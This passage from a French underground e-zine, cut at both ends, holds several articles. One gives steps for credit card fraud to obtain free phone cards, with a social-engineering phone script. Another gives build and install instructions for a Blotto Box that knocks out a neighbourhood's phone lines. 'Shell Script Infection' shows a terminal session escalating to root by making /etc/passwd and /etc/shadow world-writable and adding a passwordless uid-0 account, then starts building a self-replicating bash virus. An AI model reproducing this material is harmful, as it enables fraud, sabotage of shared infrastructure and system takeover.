-on encode ces informations au format exadécimal.
-le résultat comportera 48 chiffres décimaux. Ce résultat s' appelle l' identifiant (Id)
-pour obtenir le fameux numéro à 96 chiffres, on multiplie par 1+2^160
-on obtient le numéro 96 chiffres (calculs dispo ici) élevé la puissance exposant privé modulo.
Le résultat est une numéro de 96 chiffres à 320 bits (valeur d'authentification)
-en ait le numéro final à 96 chiffres est l'association de 2 nombres de 48 chiffres ; ces
nombres doivent être gravés sur la puce de la carte blanche.

Le seul inconvénient de la technique c'est que vous vous cassez le cul pendant des heures et
après vous devez changez de numéro car comme je vous l'ai dit la liste des numéros interdits est
mise à jour tous les soirs.



3. Cartes téléphoniques rechargeables

C'est la partie du carding qui attire le plus les newbies dans ce domaine. Qui n'a jamais rêvé
de téléphoner gratos ? Le Carding au profit du phreaking, c'est la classe totale. Vous n'avez
pas à sortir la nuit avec vos pieds de biche pour faire du beige-boxing. Là il vous suffit de
ruser une bonne fois pour tout et c'est free pour tout le monde. Vous pouvez téléphoner en
plein jour, quel bonheur !

La technique est simple: on va chercher un numéro de Cb attribué, puis on va téléphoner à un
service de télécartes rechargeables. On vous demande généralement le numéro de votre Carte
Bancaire ainsi que la date d' expiration. Ne commencez pas à flipper, tout le monde sait
maintenant que la date d'expiration ne sert à rien ! Cela dit des mesures ont été prises ; ils
demandent parfois le nom du porteur et se mettent en contact direct avec la banque (ça c'est pas
nouveau) pour vérifier la validité de votre compte. Le seul pépin que vous pourriez avoir,
c'est si le service clientèle vous annonce que ce numéro est déjà attribué à un abonné. Bah là,
ne raccrochez pas au nez ça fait pas crédible, jouez le jeu juqu'au bout, dites "ah? Mais c'est
pas normal. C' est ma copine, elle a du se tromper en écrivant. Bah tant pis je rappelle tout à
l'heure". Bon ok ils sont pas cons mais ça coute rien de jouer Marlon Brando juste deux
secondes.




=><(- Der Freirahk -)><=
^^^^^^^^^^^^^^^^^^^^^^^^




#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##











¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

PHREAKING FOR THE NEW SCENE (PART II)

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤



La suite du "Phreaking for the New Scene" est disponible !!!

Au programme : Blotto Box, Blue Box, Pink Box & Red Box.

Je précise par contre que tous ces tutorials sont disponibles sur le site de Phreakon,
et je les en remercie (et voui : pas un article de moi dans cette deuxième partie... quel
flémard ! mdr).

Sans transition, let's go !



--> La Blotto Box ou comment niquer le réseau téléphonique d'un quartier
*************************************************************************
(Phreakon)

>> La Blotto box : foutagedegueuledenewbies? :

La blotto box existe !! Ce qui était au début une blague pour phreaker innocent à
finallement était conçue par le seul phreaker expert sur le voltage des lignes (ah bon c'est le
seul...;-): The Traveler. Il est aussi le créateur de la White, Gold, de l'Aqua, de la Diverti
et de la Cold Box.

Donc, pour ceux peu éclairé sur la Blotto, voila un bref résumé de la légende.

>> The Blotto box :

Tous les phreakers ont révé un jour de cette box. Comme je l'ai déjà dit, initiallement,
elle a été conçue comme une farce. Mais bon elle est faisable...!!!

C'est vraiment le pied cette box... avec elle vous pouvez laisser les télécoms sur les
genoux. Pouquoi? Ben parce ce splendide appareil peut mettre 'out' les lignes téléphoniques
partout où vous le souhaitez. Résultat : plus aucun appel rentrant ou sortant de la zone
choisie (ni interieur ou exterieursi vous voulez savoir).

Et cette box ne stop jamais! Les impulsions électriques qu'elle émet ouvre toutes les
lignes!! Et ça n'arrête pas de Ring, Ring, Ring.... Le voltage est maintenu tant que le
générateur est en marche...

Je dis bien générateur et pas 220...Mais c'est risqué!!! Toute personne trop proche de la
box avec un phone peut etre électrocutée !! Alors faites gaffe....

Bien sur la Blotto peut être arrétée en coupant la ligne ou en arrétant le générateur.
Mais alors si ils coupent la ligne, ils risquent de ne plus rien recevoir pour un bon bout de
temps... encore une fois : ça craind vraiment de faire cette box,je vous le conseille pas!!

Tant qu'il y a du courant, elle continue... OK, voilà sa fonction, maintenant, voilà
comment la faire...


>> Fonctionnement de la Blotto et Installation :

Quand vous avez installée une Blotto, vous ne pouvez plus faire demi-tour. Les
instructions suivantes sont pour la construction et l'utilisation. Lisez bien les
avertissements plus haut avant d'essayer de la construire..


Matos :

* Une ralonge éléctrique (supportant le 400 V) donc la fiche femelle est mise dans la prise
téléphonique.
* Un générateur portable Honda, ou un du type que l'on trouve dans les stades..
* Une prise téléphonique (pas la votre et pas dans votre zone).
* Une télécommande à distance ou une perche ISOLANTE.
* Un voltmètre à attacher à la box elle-même.
* Un fer à souder


Maintenant. Vous devez avoir lu les instructions plus haut. Si c'est pas le cas,
retournez-y !

Pour les autres, j'explique en détail. Prenez le générateur Honda et tous le reste de
l'équipement et sortez à la recherche de la box général du quartier (quelle soit en contact
avec le sol!).

Première note :

Si vous avez allumé le générateur et avez fait tous ça dans l'ordre, à cette heure si,
vous devez être à point, bien grillé! Toujours garder le générateur off tant que vous n'avez
pas commencé. Maintenant soudez les lignes prudemment. Placez la télécommande à distance sur le
générateur.Si vous avez pris une perche, prenez la longue et tenez vous aussi loin que possible
du générateur. (cette méthode n'est pas conseillé!!!)

Deuxième note :

Si tout c'est bien passé, vous remarquerez que toutes les lignes sonnent dans le quartier.
Ne revenez pas sur les lieux de votre crime sans avoir stoppé le générateur à distance. La
tension est tellement forte dans la zone que si vous vous approcher vous êtes MORT !!

Eh pis non, ne revenez pas !!!!!!!

Si vous êtes encore en vie après le montage, cassez vous, tant pis pour le matos !!!!.



--> La Blue Box ou comment téléphoner gratis
*********************************************
(Phreakon)

Intro

Tout d'abord on doit savoir que le blue boxing a existé en premier en Amerique.

La-bas, il y a différents types de réseau telephonique fonctionnant avec un certaine
hiérarchie.
Un reseau telephonique est implanté dans chaque ville, avec une centrale qui gére les
appels d'un apelant d'une ville vers un appelé de la même ville.

Exemple :

J'habite une ville A et je veux appeler un ami habitant dans la même ville A ; c'est la
centrale de ma ville qui va s'occuper de diriger l'appel vers celui que je veux appeler.

------- lignes normales ] [ +++++ lignes trunks

MOI ------ CENTRALE de la ville A ------ MON AMI


Mon appel telephoonique va passer par des lignes normales de téléphone.


Autre exemple :

Maintenant, si j'appelle un ami (je me trouve tjrs ds la ville A) qui se trouve dans le
même Etat A que moi (californie par exemple) mais dans une ville differente on va dire la ville
B ; la centrale telephonique de ma ville A va contacter le centrale telefonique de l'etat A et
celui ci contacter la centrale telephonique de la ville B (ou habite mon ami) afin de
transmettre l'appel à mon ami.

Tout cette communication s'effectuera sur des lignes normales.

MOI (ville A)(état A) --- CENTRALE de la ville A --- CENTRALE de l'état A ---
||
MON AMI (ville B)(état A) <--- CENTRALE de la ville B


Pour l'instant vous devez vous dire il me fait chier avec ses explications à la con, moi
je croyais lire un article sur le blue boxing.

ON Y VIENT... mais un dernier exemple.

Encore un autre exemple:) :

Maintenant je veux appeler un copain qui ne se trouve pas dans le meme état que moi mais
dans l'etat B et dans une ville C se trouvant dans cet etat (B).

Une chose va changer, on va passer par des lignes telephoniques trunks ,et c'est sur ces
lignes que s'oppere le blue-boxing.

Une explication en image:) :

MOI (ville A)(état A) --- CENTRALE de la ville A --- CENTRALE de l'état A
||
CENTRALE de la ville C (situé ds l'état B) --- MON AMI (ville C)(état A). CENTRALE de l'état B

La ligne trunk se trouve entre la centrale de l'etat A et de l'etat B et en regle
générale, les lignes trunks sont les lignes telephoniques reliant les centrales telephoniques
de deux etats.

On rentre dans le vif du sujet....

C'est lignes trunks sont un peu particulieres car pour indiquer aux centrales de deux
etats qu'il y a aucune communication ont fait passer dans ces lignes une tonalité de 2600 Hz
[vous connaissez cettte fréquence : )].

Et lorsqu'une ligne trunk est en activité et par conséquent quelqu'un s'en sert pour
telephoner, la tonalité de 2600 Hz ne s'émet pas.

Donc comment pourait on faire croire a une centrale q'on est pas en communication, tout
simplement en créant cette tonalité de 2600 Hz.

Voila le principe du blue-boxing : générer une tonalité de 2600 Hz afin de faire croire
que la personne qu'on appel ne décroche pas son telephone ou qu'elle a racroché.


Un petit exemple :

J'appel mon copain ; il décroche ; je génere une tonalité de 2600 Hz pendant 1 a 2
secondes .

Le centrale va croire que celui que j'appelle a racroché et donc j'arreterais de payer la
communication.

Voilà comment les phreakers l'utilise, car au départ, la blue box servait aux techniciens
des telecoms pour tester une ligne.

Seuls quelques uns connaissaient cette méthode mais ensuite, les telecoms se sont
appercus d'une utilisation frauduleuse de la tonalité du 2600 Hz.

Aux Etats-Unis, seuls quelques postes telephoniques avaient le droit d'utiliser la tonne
de 2600 Hz ,une liste des postes télephoniques ayant droit était etablie et une seconde liste
indiquant les numeros s'etant servi de la tonalité de 2600 Hz aussi.

Ainsi en comparant les deux listes, les telecoms voyait le numero de ceux qui avait
utilisé la blue-box sans y etre autorisé.

La seule solution pour passer a travers les mailles du filet était alors de se
debrouiller pour se trouver sur la liste des numeros de telephone autorisé.

Quelques solutions :
- Avoir un voisin technicien des telecom .
- Faire croire aux telecom qu'on a un probléme sur notre ligne pour qu'il teste cette ligne
et que notre numero soit sur la liste des " ayant droit " (cette solution étant éphemére).
- Ou hacker le serveur ou sont stockés les numéro de téléphone " ayant droit " afin de
rajouter le sien (cette solution etant réservé aux élites car ces serveurs la, ne doivent
pas être accessible a tout le monde...

Aujourd'hui le blue-boxing a disparu car la fréquence des 2600 Hz a été modifié par des
fréquences très difficile a reproduire et necessitant du materiel couteux réservé aux
milliardaires ou aux élites.

Triste fin pour cet superbe box.

PS : Nous recherchons les montages de la blue-box. Si vous les possédez : phreakon@caramail.com


--> Les conférences téléphoniques faciles : la Pink Box
********************************************************
(Phreakon)


Définition :

Elle concerne les possesseurs de double lignes téléphonique. Cette box n'a rien d'illégal
SAUF si vous commencez à la vendre car le matériel étant déposé, vous enfreignez la loi.

Quoi qu'il en soit, en équippant nos potes on peut se faire des réunions à vraiment
beaucoup sans se casser trop le cul.

La pink-box permet de relier les deux lignes afin que, lors d'un appel on puisse se faire
une conversation à trois, les deux téléphones permettent la mise en attente et le montage est
très facile à réaliser.

Matos :
- deux téléphones
- 6 interrupteurs
- du fils éléctrique
- 8 pinces crocos
- un fer à souder
- de la bonne soudure


VOIR WWW.PHREAKON.FR.ST POUR LE SCHEMA DU MONTAGE.


--> Fucker les cabines FT : la Red Box
***************************************
(Phreakon)


La red-box est un montage électronique (assez compliqué comme la plupart des boxes) qui
s'appliquait du temps des cabines téléphoniques à piéce.

Vers chez moi je n'ai jamais trouvé de cabines à piéces...

Son rôle était d'émettre un son (qui simulait un ajout de piéce dans la caisse de la
cabine) et qui faisait croire aux centrales téléphoniques, que l'utilisateur de la cabine avait
rajouté une piéce.

Il existait plusieurs fréquences de sons selon le montant de la piéce ajoutées.

Il existe des programmes qui servent à reproduire les sons de la Red-Box alors si vous
trouvez une cabine à piéce, la diffusion de ces sons devraient encore fonctionner...

Si vous avez plus d'infos, contactez nous --> Phreakon@caramail.com





--> Dans le prochain numéro
****************************

Dans le prochain numéro, on aborde le réseau GSM !!!

Préparez-vous : on va parler de la structure du réseau, du fonctionnement de l'IMEI,
quelques codes Sagem, comment recharger une Entrée Libre, etc...

A la prochaine !!!



~°)-¤ Redoxx ¤-(°~
^^^^^^^^^^^^^^^^^^





#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##









¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

RATMODE : L'HOMO-COMPUTUS

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤




Et toa keske tu fous à bagnauder dans les roots sombres de l'internet à cette heure là ?
> je bouffe mon forfait


ratm0de : la pensée à une longueur


Les Cabalistes nous disent que " ce monde " est ainsi appelé parce qu'il est un petit
fragment de l'authentique réalité. Ce fragment n'est que ce que nous sommes en mesure de
percevoir au moyen de nos cinq sens.

Si nous développions d'autres sens, ce que nous pourrions alors percevoir porterait le
nom de " Monde futur ".

Pourquoi cette dénomination ? Parce qu'il s'agirait d'un fragment plus important de la
véritable réalité.


Au contraire, le RatMode est un fragment REDUIT de notre réalité.

C'est le moment où un simplement complexe monde logique créé par les sysaupes et votre
conscience réduite sont les plus proches, entrainant la posture caractéristique qui lui a valu
son nom ;>

Le sujet est alors à même de fonctionner à une vitesse inconcevable. Hélas, personne n'a
à ce jour pu le mesurer scientifiquement.

Il semblerait en effet que le passage en 'ratmode' ne soit possible qu'en solitaire
et/ou seulement avec d'autres programmeurs vous tournant le dos dans l'athmosphère enfumée.

La soif de connaissance est ce qui pousse le rat dans les pipes et les égouts.

Qu'importe, le rat aime les égouts, et il y creuse des trous ! [Argg]


~-/-¤ Léonard ¤-\-~
^^^^^^^^^^^^^^^^^^^^^





#
# ### #
## ### ##
#### ##### ###
##### ##### ####
###### ##### ######
###### ##### #######
#### ################### ####
#################################
##########################
##################
#########################
##############
##
##








¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤

SHELL SCRIPT INFECTION

¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤


Sommaire
**********

\x00/ Disklamer
\x01/ Introduction
\x02/ Analyse du besoin
\x03/ Etude theorique de fonction
\x04/ Mise en place du code
\x05/ Observation en laboratiore
\x06/ debugging & ajout de fonction
\x07/ gachette, trojan & optimisation
\x08/ Recapitulation
\x09/ Conclusion
\x0a/ FIN

Annexe 1 : BourneShell code de Absurdus Delirium 2.0 by ThreaT.



\\0x00// DISKLAMER
@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@

Apres quelques mois (voir années) d'absence sur le "visible" de la scene underground française,
j'ai decidé de vous faire un exposer encore jamais vue à ma connaissance (pas en français en
tout cas).

un article sortie de l'ombre, pour ce montrer à ceux qui aurait put nous oublier...

le titre pouvant être mal interpreté, je prefere prevenir tout de suite:

le VIRUS qui vas être exposer n'est aucunement un code destiné à la destruction!
cet article va traiter de la mise en oeuvre d'un code viral qui nous donneras la possibilitée
d'exporter des commandes, visant à deverouillé une politique de sécurité mis en place sur une
architecture réseaux de type unix/linux.

-----------------------------------------------------------------------------
aucun de ces codes sources & explications n'ont été pompé ou que ce soit!
cet article n'est pas un vulgaire copier coller traduit d'un mag trouvé aux fin fond d'un dd
perdu.
merci de ne pas confondre notre travail avec ce que vous avez l'habitude de voir le plus
souvent.
------------------------------------------------------------------------------

je ne suis en aucun cas responsable de la mauvaise utilisation & interpretation de cet article.
celui ci, s'adressant aux personnes desireuses d'étendre leurs connaissances dans le domaine
de l'informatique, suppose une bonne pratique de Linux ou de tout autre système Unix.

toutefois, je prefere vous prevenir qu'il est distribué à titre d'information sur les
possibilitées offertes aux "utilisateurs avertis".

l'ortographe n'étant pas du tout mon point fort, je vous pris de m'en excuser.

ps: si vous avez des problèmes de visualisation, cet article a été écrit sous GXedit 1.23.
merci de vous en réferer à ce traitement de texte



\\0x01// INTRODUCTION
@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@

beaucoup de gens restes encore sceptique à l'idée de mettre sur pied du code infecteur sous
linux.
il est vrai que cela peut paraitre difficile, vue que les acces aux fichiers peuvent être
rigoureusement controlés.

Et pourquoi, ne pas faire justement, un virus (j'entend par la, code qui ce replique) qui
servirait au bypassage de restrictions.
Un virus modifiable en bash qui tenterais de s'auto-repliquer à travers tout les scripts
auquels il a acces, incluant un code trojan que l'on pourrait modifer à notre guise, et qui
nous donnerais un lien direct à tout les uid utilisateurs infectées!

pas possible, me repondrez vous!

n'avez vous pas pensez qu'un système informatique a pour propriétée le partage de
l'information?
et que meme si un systeme utilise un verrouillage de fichier par utilisateur, que peut être 2
uid pourraient utiliser le même fichier?

surement que si que vous y avez pensés!

nous aussi...

\\0x02// ANALYSE DU

  
BESOIN
@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@

Dans un environnement unix, tout utilisateur a la possibilités, d'écrire, de lire et d'éxécuter
des scripts.
ainsi, les commandes incluent dans ce genre de fichier sont executées avec l'uid de
l'utilisateur qui les invoques, comme tout exécutables.
l'avantage des scripts bash, et que étant très puissant, ils sont largement utilisés à travers
la communaute unix, offrant un moyen rapide et simple à mettre en oeuvre de minis applications
qui depassent largement les possibilitées offertes par les pseudos-scripts batch, ou cmd
incluent dans les environnements microsoft.

de ce faite, une attaque très connue consiste à trouver, ou à créer un script, qui seras
invoqué par un uid different du notre, et d'y inclure des commandes que l'uid victime auras
l'autorisation d'éxécuter, on appelle cela, la technique du cheval de troie (qui n'a rien à
voir avec les TROJANS pour lamerz que vous connaissez)

le problème avec cette technique, est de trouver un script en own write acces, utilisé par une
autre entitée.
cela peut durer des jours, voir même des mois d'observation sur la manière et les habitudes
d'utilisations que font les gens de leurs systèmes.

voici une demonstration d'attaque par cheval de troie sur un système dont je connais super bien
le root, et chez qui j'ai un acces user simple.

[root@ThreaT@workgroup /root]# telnet maverick
Trying 163.65.80.90...
Connected to Maverick.workgroup.
Escape character is '^]'.
Welcome to Maverick.workgroup
Linux Mandrake release 7.0 (Air)
Kernel 2.2.14-15mdk on an i686
login: threat
password:
Warning : your password will expire in -1 days
last login: Sun Mar 19 16:58:00 on tty4
[ThreaT@Maverick@workgroup threat]$ ls -l /etc/profile.d/*.sh
-rwxr-xr-x 1 root root 672 Mar 13 14:11 /etc/profile.d/alias.sh*
-rwxr-xr-x 1 root root 191 Mar 13 14:44 /etc/profile.d/color_ls.sh*
-rwxr-xr-x 1 root root 133 Jan 12 06:36 /etc/profile.d/inputrc.sh*
-rwxr-xr-x 1 root root 192 Jan 7 15:00 /etc/profile.d/kde.sh*
-rwxr-xr-x 1 root root 1682 Mar 13 14:18 /etc/profile.d/lang.sh*
-rwxr-xrwx 1 mav root 38 Jun 14 18:48 /etc/profile.d/mav.sh*
-rwxr-xr-x 1 root root 167 Jan 4 22:50 /etc/profile.d/mc.sh*
-rwxr-xr-x 1 root root 267 Dec 22 18:24 /etc/profile.d/numlock.sh*
-rw-r--r-- 1 root root 0 Feb 23 21:18 /etc/profile.d/proxy.sh
-rwxr-xr-x 1 root root 103 Dec 21 14:44 /etc/profile.d/screen.sh*
-rwxr-xr-x 1 root root 152 Mar 13 14:15 /etc/profile.d/xhost.sh*
[ThreaT@Maverick@workgroup threat]$


comme je viens de le dire, je connais super bien le root (ben oui, c'est maverick)
bon, je sais que maverick a modifie son profile, et c'est crée un script qui lui dit
"bonjour maître" à chaque fois qu'il lance un shell root, ou un shell utilisateur qu'il c'est
crée à titre perso.

seulement, ce qu'il ne sait pas, c'est que l'user "mav", qui lui a servit à crée son script
possede un umask de 020!

pour ceux qui n'auraient pas compris, cela veut dire que chaque fois que maverick crée un
fichier avec son utilisateur "mav", celui ci se retrouve en read write exec pour lui même, read
et exec pour le groupe, et read write exec pour les autres :) ce qui veut dire que nous
possedons la un script own write access!!
-rwxr-xrwx 1 mav root 38 Jun 14 18:48 /etc/profile.d/mav.sh*

cette observation étant faite, il ne reste plus qu'à agir.

[ThreaT@Maverick@workgroup threat]$ echo "chmod 777 /etc/passwd && chmod 777 /etc/shadow" >>
/etc/profile.d/mav.sh

on attend que maverick balance un root shell...

[ThreaT@Maverick@workgroup threat]$ ls -l /etc/passwd /etc/shadow
-rwxrwxrwx 1 root root 796 Mar 13 13:58 /etc/passwd
-rwxrwxrwx 1 root root 712 Mar 13 13:58 /etc/shadow
[ThreaT@Maverick@workgroup threat]$ echo "owned:*:0:0:::" >> /etc/passwd
[ThreaT@Maverick@workgroup threat]$ echo "owned::11035:0::7:::0" >> /etc/shadow
[ThreaT@Maverick@workgroup threat]$ su owned
Warning: your password will expire in -1 days
[root@Maverick@workgroup /]# whoami
root



ok, jusque la, tout est très simple.

mais imaginons un instant, que je veuille prendre la main sur tout un parc info.
n'ayant pas le temp d'aller me promener en temps que root dans tout les acces de maverick sur
le reseau, il me serait pratique qu'un code auto-reproductible, incluant ma commande trojan
puisse se reproduire à travers tout les scripts own write access d'un utilisateur infecté.

ce qui aurait pour avantages :
- le boulot serait fait par les autres, et cela sans qu'ils s'en appercoivent
- impossibilite de reperer mon compte dans la tracabilitée des modifications
- possibilite d'infecter plusieurs utilisateurs (qui permet de chopper different uid)
- possibilite d'infecter TOUT le système, si root est infecté, ce qui peut permettre au virus
de passé sur d'autres becanes
- possibilite de crée un lien dans le repertoire temporaire qui nous donnerait un contrôl
commande sur tous les utilisateurs infectés.
- possibilite de rajouter des fonctions une fois que le virus est implemanté

possibiliter de faire travailler votre imagination est votre creativitée, pour infiltrer des
systèmes sans êtres des moutons du hack moderne...

tout cela vous plait?
alors éteignez la musique, dite à mémé de baisser le son de la télé, et concentrez votre partie
du cerveau qu'on appelle le cerveau cortical sur les lignes qui vont suivre..

car nous allons commencer...


\\0x03//ETUDE THEORIQUE DE FONCTION
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

notre but et en premier lieu de crée un script auto-reproductible, capable d'infecter tout
shell script!
nous nous trouvons tout de suite devant 5 exigences:

- reconnaitre un shell script d'un autre fichier
- extraire son propre code du code porteur
- pointer le script à infecter
- reconnaitre un script porteur d'un script saint
- ecrire le code virale dans le code cible


001/ reconnaitre un shell script, d'un autre fichier
#####################################################

pour assurrer cette exigence, nous allons nous referez à la commande "file"

"file" est une commande permettant de determiner le type de fichier pointé par son argument.
(pour plus de detaille, man file)

un petit exemple :
[root@ThreaT@workgroup /root]# file core
core: ELF 32-bit LSB core file of 'kioslave' (signal 11), Intel 80386, version 1
[root@ThreaT@workgroup /root]# file /bin/login
/bin/login: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared
libs), stripped
[root@ThreaT@workgroup /root]#file /sbin/ifdown
/sbin/ifdown: Bourne shell script text

donc, comme on peut le voir, file nous dit à quel type de fichier on a à faire.
dans l'exemple si dessus, on voit que core est un dump memoire generé par kioslave, /bin/login
est un executable 32-bit et /sbin/ifdown est un Bourne shell script (ce qui nous interresse :)

bon, ok, mais comment constituer un script qui feras la différence entre tout ce bordel?
très simple, il suffit de rediriger la sortie de commande dans un fichier tampon que nous
analyserons par la suite a l'aide de la commande grep.

pour exemple, voici un shell script qui va analyser tout les fichiers du repertoire courant, et
nous retourner le nom de tout les Bournes shell scripts

--------cut---------------------
#!/bin/sh
#bsearch.sh by ThreaT
for fichier in *
do
file $fichier > /tmp/t
if grep "shell" /tmp/t > /dev/null; then
echo "$fichier est un Bourne shell script"
fi
done
rm -f /tmp/t
#fin du script
---------cut----------------------

voici le resultat produit dans un repertoire courant comme si dessous:

[root@ThreaT@workgroup /root/script]# chmod +x bsearch.sh
[root@ThreaT@workgroup /root/script]# ls
bsearch.sh* core ed* igawk* install.log ping* remadmin*
[root@ThreaT@workgroup /root/script]# ./bsearch.sh
bsearch.sh est un Bourne shell script
igawk est un Bourne shell script
remadmin est un Bourne shell script
[root@ThreaT@workgroup /root/script]#

ok, maintenant on sait reconnaitre un bourne shell script d'un autre fichier.


010/extraire son propre code du code porteur
################################

pour cela, rien de plus simple, nous allons nous appuyez sur la commande "grep" comme au dessus.
grep est une commande qui affiche les lignes correspondant à un motif donné, c'est à dire que
celui ci peut extraire toute chaine contenant le même mot (pour plus de précision, man grep)

un exemple, j'ecrit un fichier texte quelconque

[root@ThreaT@workgroup /root]#vi texte
<i>
!!salut les bob, ceci est un fichier qui vas nous servir de test
c'est a dire que nous allons tenter d'extraire celui ci
pour y lire ce qui nous interresse!!
<esc><:wq!>

maintenant, je vais extraire du texte les lignes contenants un "!!"

[root@ThreaT@workgroup /root]# grep "!!" texte
!!salut les bob, ceci est un fichier qui vas nous servir de test
pour y lire ce qui nous interresse!!
[root@ThreaT@workgroup /root]#

comme vous avez put le remarquer, grep a sortie de notre texte les 2 lignes comportant le motif
qu'on lui a indiqué.
ce qui veut dire que notre code viral doit comporter dans chacune de ces commandes un motif
identique qui pourras être extrait par grep, mais qui ne doit pas être dans le code porteur.
sachant que grep differencie les majuscules des minuscules, nous n'aurons pas trop de mal!

mais ou allons nous placer cette chaine identique qui seras en quelque sorte la "signature" de
notre virus?
ben c'est très simple, il suffi de la placer en commentaire à chaque fin de commande.

un exemple:
ce petit script va différencier les chaines virals, des chaines porteuses à l'interieur de lui
même

-----cut----------
#!/bin/sh
#virsign.sh, by ThreaT
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
echo "je suis une chaine porteuse"
echo "je suis une chaine porteuse"
echo "je suis une chaine porteuse"
echo "je suis une chaine porteuse"
echo "--------------------------"
echo "attention, le petit virus vas sortir"
echo "------------------- ------"
grep "MvM" $0
echo "il est sortie à l'ecran"
echo "mais il peut sortir aussi dans un fichier"
echo "par simple redirection"
grep "MvM" $0 > viruss
echo.
echo "si vous ne me croyez pas tapez 'cat viruss'"
#fin du script
------cut----------

executons cette petite saloperie

[root@ThreaT@workgroup /root/script]# chmod +x virsign.sh
[root@ThreaT@workgroup /root/script]# ./virsign.sh
je suis une chaine viral
je suis une chaine viral
je suis une chaine viral
je suis une chaine viral
je suis une chaine porteuse
je suis une chaine porteuse
je suis une chaine porteuse
je suis une chaine porteuse
--------------------------
attention, le petit virus vas sortir
------------------- ------
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
grep "MvM" $0
grep "MvM" $0 > viruss
il est sortie à l'ecran
mais il peut sortir aussi dans un fichier
par simple redirection

si vous ne me croyez pas tapez 'cat viruss'
[root@ThreaT@workgroup /root/script]# ls
bsearch.sh* core ed* gawk* install.log
ping* remadmin* virsign.sh* viruss

on voit bien que le script a crée un nouveau fichier appellé viruss

[root@ThreaT@workgroup /root/script]# cat viruss
echo "je suis une chaine viral" #MvM
